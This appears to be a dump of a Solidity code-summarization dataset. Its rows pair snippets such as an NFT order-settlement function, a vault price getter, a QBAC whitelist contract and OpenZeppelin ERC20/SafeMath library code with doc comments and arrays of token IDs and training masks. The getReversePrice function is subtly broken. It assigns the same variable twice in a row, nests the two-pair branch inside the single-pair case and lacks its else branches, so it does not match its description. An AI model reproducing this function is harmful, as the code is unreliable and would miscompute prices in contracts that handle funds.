nftBalance = IERC1155(_nftInfo.nftToken).balanceOf(_makerOrder.maker, _nftInfo.tokenId);
}
if (_originToken) {
amountBalance = _taker.balance;
} else {
amountBalance = IERC20(_makerOrder.paymentToken).balanceOf(_taker);
}
}
function _transferForTakeFee(
NftInfo memory _nftInfo,
MakerOrder memory _makerOrder,
DealOrder memory _dealOrder,
bool _originToken
) internal returns(uint256){
/// Calculate the total fees for this order
address feeTo = controller.feeTo();
(uint256 amount, uint256 totalFee, uint256 txFee, uint256 authorFee) = controller.checkFeeAmount(
_dealOrder.dealAmount,
_makerOrder.authorProtocolFee
);
/// Complete transaction transfer based on payment token type
if (_originToken) {
require(msg.value >= _dealOrder.dealAmount, "insufficient value");
TransferHelper.safeTransferETH(_makerOrder.maker, amount);
if (txFee > 0) {
TransferHelper.safeTransferETH(feeTo, txFee);
}
if (authorFee > 0) {
TransferHelper.safeTransferETH(_dealOrder.author, authorFee);
}
} else {
TransferHelper.safeTransferFrom(_makerOrder.paymentToken, _dealOrder.taker, _makerOrder.maker, amount);
if (txFee > 0) {
require(feeTo != address(0), "zero fee address");
TransferHelper.safeTransferFrom(_makerOrder.paymentToken, _dealOrder.taker, feeTo, txFee);
}
if (authorFee > 0) {
require(_dealOrder.author != address(0), "zero author address");
TransferHelper.safeTransferFrom(_makerOrder.paymentToken, _dealOrder.taker, _dealOrder.author, authorFee);
}
}
/// Check whether the order NFT Token has been minted.
/// If it has been minted, call the contract transfer method,
/// otherwise mint the NFT tokenid and send it to the taker
if (_dealOrder.minted) {
if (_nftInfo.tokenType == TokenType.TYPE_ERC721) {
IERC721(_nftInfo.nftToken).safeTransferFrom(
_makerOrder.maker,
_dealOrder.taker,
_nftInfo.tokenId
);
}
if (_nftInfo.tokenType == TokenType.TYPE_ERC1155) {
IERC1155(_nftInfo.nftToken).safeTransferFrom(
_makerOrder.maker,
_dealOrder.taker,
_nftInfo.tokenId,
_makerOrder.quantity,
""
);
}
} else {
controller.mint(
_dealOrder.taker,
_nftInfo.tokenId,
1
);
}
feeReturns[_dealOrder.taker] = feeReturns[_dealOrder.taker] + _dealOrder.rewardAmount;
return totalFee;
}
} | / Unused type: TYPE_BASE
| enum TokenType{ TYPE_BASE, TYPE_ERC721, TYPE_ERC1155 } | 12,567,220 | [
1,
19,
1351,
3668,
618,
30,
3463,
67,
8369,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2792,
18794,
95,
3463,
67,
8369,
16,
3463,
67,
654,
39,
27,
5340,
16,
3463,
67,
654,
39,
2499,
2539,
289,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x92ffDD3334D6C8CE4906020C453037a71b3AA8f7/sources/contracts/CIV-VaultGetter.sol | @notice Get Price of the each strategy's deposit token amount based on guarantee token amount @dev Public Function @param _id Strategy Id @param _amountIn guarantee token amount @return amountOut Price of the token0 in a given strategy | function getReversePrice(
uint _id,
uint _amountIn
) public view virtual returns (uint amountOut) {
StrategyInfo memory strategyInfo = civVault.getStrategyInfo(_id);
PairInfo[] memory curPairInfo = pairInfo[_id];
if (curPairInfo.length == 1) {
if (address(strategyInfo.guaranteeToken) == curPairInfo[0].token0)
amountOut = curPairInfo[0]
.price0Average
.mul(_amountIn)
.decode144();
else
amountOut = curPairInfo[0]
.price1Average
.mul(_amountIn)
.decode144();
FixedPoint.uq112x112 memory value;
if (address(strategyInfo.assetToken) == curPairInfo[0].token0) {
value = curPairInfo[0].price1Average;
value = curPairInfo[0].price0Average;
}
if (address(strategyInfo.guaranteeToken) == curPairInfo[1].token0) {
value = value.muluq(curPairInfo[1].price1Average.reciprocal());
value = value.muluq(curPairInfo[1].price0Average.reciprocal());
}
amountOut = value.mul(_amountIn).decode144();
}
}
| 16,543,274 | [
1,
967,
20137,
434,
326,
1517,
6252,
1807,
443,
1724,
1147,
3844,
2511,
603,
18779,
1147,
3844,
225,
7224,
4284,
225,
389,
350,
19736,
3124,
225,
389,
8949,
382,
18779,
1147,
3844,
327,
3844,
1182,
20137,
434,
326,
1147,
20,
316,
279,
864,
6252,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
5561,
2476,
5147,
12,
203,
3639,
2254,
389,
350,
16,
203,
3639,
2254,
389,
8949,
382,
203,
565,
262,
1071,
1476,
5024,
1135,
261,
11890,
3844,
1182,
13,
288,
203,
3639,
19736,
966,
3778,
6252,
966,
273,
276,
427,
12003,
18,
588,
4525,
966,
24899,
350,
1769,
203,
3639,
8599,
966,
8526,
3778,
662,
4154,
966,
273,
3082,
966,
63,
67,
350,
15533,
203,
3639,
309,
261,
1397,
4154,
966,
18,
2469,
422,
404,
13,
288,
203,
5411,
309,
261,
2867,
12,
14914,
966,
18,
6891,
9106,
73,
1345,
13,
422,
662,
4154,
966,
63,
20,
8009,
2316,
20,
13,
203,
7734,
3844,
1182,
273,
662,
4154,
966,
63,
20,
65,
203,
10792,
263,
8694,
20,
17115,
203,
10792,
263,
16411,
24899,
8949,
382,
13,
203,
10792,
263,
3922,
25339,
5621,
203,
5411,
469,
203,
7734,
3844,
1182,
273,
662,
4154,
966,
63,
20,
65,
203,
10792,
263,
8694,
21,
17115,
203,
10792,
263,
16411,
24899,
8949,
382,
13,
203,
10792,
263,
3922,
25339,
5621,
203,
5411,
15038,
2148,
18,
89,
85,
17666,
92,
17666,
3778,
460,
31,
203,
5411,
309,
261,
2867,
12,
14914,
966,
18,
9406,
1345,
13,
422,
662,
4154,
966,
63,
20,
8009,
2316,
20,
13,
288,
203,
7734,
460,
273,
662,
4154,
966,
63,
20,
8009,
8694,
21,
17115,
31,
203,
7734,
460,
273,
662,
4154,
966,
63,
20,
8009,
8694,
20,
17115,
31,
203,
5411,
289,
203,
5411,
309,
261,
2867,
12,
14914,
966,
18,
6891,
9106,
73,
1345,
13,
422,
662,
4154,
966,
63,
21,
2
]
|
pragma solidity 0.5.10;
import "./AbstractRBAC.sol";
contract QBAC {
// An RBAC is required to gate access to QBAC functions.
//
// N.B. Any user with the role 'qbac_admin' in the supplied RBAC can
// withdraw unlimited funds from this contract.
AbstractRBAC public rbac;
// the user needs a little ether to sign the transaction that lets them into the whitelist
uint public constant TEMP_USER_ETHER_ALLOCATION = 0.02 ether; // for calling the whitelist
// Add this role to a user in your rbac
string public constant ROLE_ADMIN = "qbac_admin";
mapping(address => bool) public approved; // defaults to false
constructor(address _rbac) public {
rbac = AbstractRBAC(_rbac);
}
modifier onlyAdmin() {
rbac.checkRole(msg.sender, ROLE_ADMIN);
_;
}
modifier approvedToJoin() {
require(approved[msg.sender]);
_;
}
function preapprove(address payable _tempAddress) public
onlyAdmin
{
approved[_tempAddress] = true;
_tempAddress.transfer(TEMP_USER_ETHER_ALLOCATION);
}
function revokeApproval(address _tempAddress) public
onlyAdmin
{
approved[_tempAddress] = false;
}
// add ether for TEMP_USER_ETHER_ALLOCATION
function fund() payable public {
}
// fallback function so that contract can recieve ether
function() payable external { }
// You should create a method like this one
// that does a function more specific to your application
//function whitelist(address _newAddress)
//approvedToJoin
//{
// // and make sure to expire access after the one time method has been used
// approved[msg.sender] = false;
//}
}
| add ether for TEMP_USER_ETHER_ALLOCATION | function fund() payable public {
}
| 14,070,965 | [
1,
1289,
225,
2437,
364,
24401,
67,
4714,
67,
1584,
3891,
67,
1013,
15277,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
284,
1074,
1435,
8843,
429,
1071,
288,
203,
225,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: @openzeppelin/upgrades/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
